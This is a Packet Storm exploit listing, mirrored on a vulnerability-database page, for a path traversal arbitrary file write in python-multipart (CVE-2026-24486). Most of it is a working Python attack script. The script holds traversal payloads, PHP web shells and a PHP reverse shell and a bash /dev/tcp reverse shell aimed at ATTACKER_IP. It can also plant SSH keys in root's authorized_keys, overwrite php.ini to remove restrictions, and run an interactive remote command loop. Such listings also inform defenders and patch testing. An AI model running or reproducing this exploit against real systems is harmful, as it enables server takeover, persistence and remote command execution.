Lucene search
K

📄 Python-Multipart Path Traversal / Arbitrary File Write

🗓️ 09 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 10 Views

Exploits Python-Multipart path traversal to write arbitrary files (CVE-2026-24486).

Related
Code
==================================================================================================================================
    | # Title     : Python-Multipart 0.0.22 Arbitrary File Write                                                                     |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/Kludex/python-multipart                                                                       |
    ==================================================================================================================================
    
    [+] Summary    : This is an exploitation-oriented targeting a path traversal vulnerability in multipart file upload handling.
    
    [+] POC        :  
    
    
    #!/usr/bin/env python3
    
    import requests
    import os
    import sys
    import argparse
    import time
    import json
    import random
    import string
    from urllib.parse import urljoin
    
    BANNER = """
    ╔══════════════════════════════════════════════════════════════════════════════╗
    ║  Python-Multipart Path Traversal Exploit (CVE-2026-24486)                    ║
    ║  Affected: python-multipart < 0.0.22                                         ║
    ║  Type: Path Traversal -> Arbitrary File Write                                ║
    ║  Author: indoushka                                                           ║
    ╚══════════════════════════════════════════════════════════════════════════════╝
    """
    
    class PythonMultipartExploit:
        def __init__(self, target_url, verbose=False, timeout=10):
            self.target_url = target_url.rstrip('/')
            self.verbose = verbose
            self.timeout = timeout
            self.session = requests.Session()
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
            })
            self.uploaded_files = []
        
        def log(self, msg, level="INFO"):
            """Print formatted messages"""
            colors = {
                "INFO": "\033[94m[*]\033[0m",
                "SUCCESS": "\033[92m[+]\033[0m",
                "ERROR": "\033[91m[-]\033[0m",
                "WARNING": "\033[93m[!]\033[0m",
                "DATA": "\033[96m[>]\033[0m"
            }
            prefix = colors.get(level, "[*]")
            print(f"{prefix} {msg}")
        
        def generate_payload_content(self, content_type="webshell"):
            """Generate payload content"""
            if content_type == "webshell_simple":
                return """<?php
    if(isset($_REQUEST['cmd'])) {
        echo "<pre>";
        system($_REQUEST['cmd'] . " 2>&1");
        echo "</pre>";
    }
    ?>"""
            elif content_type == "webshell_minimal":
                return "<?=system($_GET['cmd']);?>"
            elif content_type == "reverse_shell":
                return """<?php
    $ip = 'ATTACKER_IP';
    $port = ATTACKER_PORT;
    $sock = fsockopen($ip, $port);
    $descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
    );
    $process = proc_open('/bin/sh', $descriptorspec, $pipes);
    proc_close($process);
    ?>"""
            elif content_type == "test":
                return f"[TEST] POC executed at {time.strftime('%Y-%m-%d %H:%M:%S')}"
            elif content_type == "ssh_key":
                return """ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... (SSH key content)"""
            else:
                return f"Content written by exploit at {time.time()}"
        
        def get_path_traversal_payloads(self, filename):
            """Generate various Path Traversal payloads"""
            payloads = [
                f"/tmp/{filename}",
                f"/etc/{filename}",
                f"/root/{filename}",
                f"/var/www/html/{filename}",
                f"/home/www/{filename}",
                f"/usr/local/www/{filename}",
                f"../{filename}",
                f"../../{filename}",
                f"../../../{filename}",
                f"../../../../{filename}",
                f"../../../../../{filename}",
                f"....//....//{filename}",
                f"..../..../{filename}",
                f"..\\..\\{filename}",  # Windows style
                f"../../../{filename}%00.jpg",
                f"../../../{filename}\\0.jpg",
                f"//etc//{filename}",
                f"///etc///{filename}",
                f"/etc/../etc/{filename}",
                f"%2e%2e%2f%2e%2e%2f{filename}",
                f"..%252f..%252f{filename}",
                f"../.../../{filename}",
                f"././/../{filename}",
            ]
            return payloads
        
        def upload_file(self, file_path, content, content_type="text/plain", field_name="file"):
            """
            Upload file using malicious path name
            
            Args:
                file_path: Target path (may contain Path Traversal)
                content: File content
                content_type: MIME content type
                field_name: Form field name for the file
            """
            try:
                files = {
                    field_name: (file_path, content, content_type)
                }
                
                if self.verbose:
                    self.log(f"Uploading file to: {file_path}", "DATA")
                    self.log(f"Content size: {len(content)} bytes", "DATA")
                
                response = self.session.post(self.target_url, files=files, timeout=self.timeout)
                return response
                
            except requests.exceptions.RequestException as e:
                self.log(f"Upload error: {e}", "ERROR")
                return None
        
        def test_path_traversal(self, filename="test.txt"):
            """Test for Path Traversal vulnerability"""
            self.log("Testing for Path Traversal vulnerability...")
            
            test_content = self.generate_payload_content("test")
            test_payloads = self.get_path_traversal_payloads(filename)
            
            vulnerable_paths = []
            
            for i, payload in enumerate(test_payloads[:10], 1):
                if self.verbose:
                    self.log(f"Testing {i}/{len(test_payloads[:10])}: {payload}")
                
                response = self.upload_file(payload, test_content)
                
                if response and response.status_code < 500:
                    self.log(f"Potential success with: {payload} (Status: {response.status_code})", "SUCCESS")
                    vulnerable_paths.append(payload)
                elif response:
                    self.log(f"Failed with: {payload} (Status: {response.status_code})")
                
                time.sleep(0.5)
            
            if vulnerable_paths:
                self.log(f"Found {len(vulnerable_paths)} vulnerable paths!", "SUCCESS")
                return vulnerable_paths
            else:
                self.log("No obvious Path Traversal vulnerability found", "WARNING")
                return []
        
        def deploy_webshell(self, target_path="shell.php", shell_type="simple"):
            """Deploy web shell on the server"""
            self.log(f"Attempting to deploy web shell to: {target_path}")
            
            shell_content = self.generate_payload_content(f"webshell_{shell_type}")
            response = self.upload_file(target_path, shell_content, "application/x-php")
            
            if response and response.status_code < 500:
                self.log("Web shell deployed successfully!", "SUCCESS")
                return True
            else:
                self.log(f"Failed to deploy web shell (Status: {response.status_code if response else 'No response'})", "ERROR")
                return False
        
        def execute_command_via_webshell(self, shell_url, command):
            """Execute command via web shell"""
            try:
                response = self.session.get(shell_url, params={"cmd": command}, timeout=self.timeout)
                
                if response.status_code == 200:
                    if "<pre>" in response.text:
                        import re
                        match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)
                        return match.group(1) if match else response.text
                    return response.text
                return None
            except Exception as e:
                self.log(f"Execution error: {e}", "ERROR")
                return None
        
        def write_ssh_key(self, username="root", key_path=None):
            """Write SSH key for user"""
            if not key_path:
                key_path = f"/home/{username}/.ssh/authorized_keys"
            
            ssh_key = self.generate_payload_content("ssh_key")
            self.log(f"Attempting to write SSH key to: {key_path}")
            
            return self.upload_file(key_path, ssh_key, "text/plain")
        
        def upload_php_ini_config(self):
            """Upload PHP ini configuration file"""
            php_ini_content = """disable_functions = 
    open_basedir = 
    allow_url_fopen = On
    allow_url_include = On
    """
            return self.upload_file("/etc/php.ini", php_ini_content)
        
        def mass_upload(self, file_list, content_template):
            """Upload multiple files"""
            results = []
            
            for file_path in file_list:
                self.log(f"Uploading: {file_path}")
                content = content_template.replace("{file}", os.path.basename(file_path))
                response = self.upload_file(file_path, content)
                results.append({
                    "path": file_path,
                    "success": response and response.status_code < 500,
                    "status_code": response.status_code if response else None
                })
                time.sleep(0.5)
            
            return results
        
        def interactive_mode(self, target_path="shell.php"):
            """Interactive mode via web shell"""
            base_url = self.target_url.rsplit('/', 1)[0]
            shell_url = f"{base_url}/{target_path}"
            
            self.log(f"Attempting to access web shell: {shell_url}")
    
            test_response = self.execute_command_via_webshell(shell_url, "echo 'TEST'")
            
            if test_response and "TEST" in test_response:
                self.log("Web shell access successful!", "SUCCESS")
                print("\n" + "=" * 60)
                print("Interactive Mode - Type 'exit' to quit")
                print("=" * 60 + "\n")
                
                while True:
                    try:
                        cmd = input("\033[92mShell>\033[0m ").strip()
                        
                        if cmd.lower() == "exit":
                            break
                        
                        if not cmd:
                            continue
                        
                        result = self.execute_command_via_webshell(shell_url, cmd)
                        if result:
                            print(result.strip())
                        else:
                            print("[!] No output received")
                            
                    except KeyboardInterrupt:
                        print("\n[!] Use 'exit' to quit")
            else:
                self.log("Failed to access web shell", "ERROR")
    
    def create_evil_file(filename, content_type="webshell"):
        """Create malicious file locally"""
        content = {
            "webshell": """<?php system($_GET['cmd']); ?>""",
            "reverse": """<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'"); ?>""",
            "info": """<?php phpinfo(); ?>"""
        }
        
        with open(filename, 'w') as f:
            f.write(content.get(content_type, content["webshell"]))
        
        return filename
    
    def main():
        parser = argparse.ArgumentParser(description="Python-Multipart Path Traversal Exploit (CVE-2026-24486)")
        parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://localhost:8000/upload)")
        parser.add_argument("--test", action="store_true", help="Test for vulnerability only")
        parser.add_argument("--webshell", help="Web shell filename (e.g., shell.php)")
        parser.add_argument("--shell-type", choices=["simple", "minimal"], default="simple", help="Web shell type")
        parser.add_argument("--command", help="Execute command via web shell")
        parser.add_argument("--upload", help="Upload local file to remote path")
        parser.add_argument("--remote-path", help="Remote path for upload (with --upload)")
        parser.add_argument("--content", help="Custom content for upload (text)")
        parser.add_argument("--interactive", action="store_true", help="Interactive mode after deploying web shell")
        parser.add_argument("--list-payloads", action="store_true", help="List Path Traversal payloads")
        parser.add_argument("-v", "--verbose", action="store_true", help="Show verbose output")
        
        args = parser.parse_args()
        
        print(BANNER)
    
        if args.list_payloads:
            exploit = PythonMultipartExploit(args.url, args.verbose)
            payloads = exploit.get_path_traversal_payloads("test.txt")
            print("\nPath Traversal Payloads:")
            for i, p in enumerate(payloads, 1):
                print(f"  {i:2}. {p}")
            return
    
        exploit = PythonMultipartExploit(args.url, args.verbose)
    
        if args.test:
            exploit.test_path_traversal()
            return
    
        if args.upload:
            if not os.path.exists(args.upload):
                print(f"[-] File not found: {args.upload}")
                return
            
            remote_path = args.remote_path or f"/tmp/{os.path.basename(args.upload)}"
            
            with open(args.upload, 'rb') as f:
                content = f.read()
            
            response = exploit.upload_file(remote_path, content)
            if response and response.status_code < 500:
                print(f"[+] Uploaded {args.upload} to {remote_path}")
            else:
                print(f"[-] Upload failed: {response.status_code if response else 'No response'}")
            return
    
        if args.content:
            remote_path = args.remote_path or "/tmp/custom.txt"
            response = exploit.upload_file(remote_path, args.content)
            if response and response.status_code < 500:
                print(f"[+] Written content to {remote_path}")
            else:
                print(f"[-] Write failed: {response.status_code if response else 'No response'}")
            return
    
        if args.webshell:
            if exploit.deploy_webshell(args.webshell, args.shell_type):
                base_url = args.url.rsplit('/', 1)[0]
                shell_url = f"{base_url}/{args.webshell}"
                print(f"\n[+] Web shell available at: {shell_url}?cmd=command")
                
                if args.command:
                    result = exploit.execute_command_via_webshell(shell_url, args.command)
                    if result:
                        print(f"\n[+] Command output:\n{result}")
                
                if args.interactive:
                    exploit.interactive_mode(args.webshell)
            return
    
        parser.print_help()
        print("\n[!] Examples:")
        print("   Test vulnerability: python3 exploit.py -u http://localhost:8000/upload --test")
        print("   Deploy web shell:   python3 exploit.py -u http://localhost:8000/upload --webshell shell.php")
        print("   Execute command:    python3 exploit.py -u http://localhost:8000/upload --webshell shell.php --command 'id'")
        print("   Interactive mode:   python3 exploit.py -u http://localhost:8000/upload --webshell shell.php --interactive")
    
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jun 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.17.5 - 8.6
EPSS0.01021
SSVC
10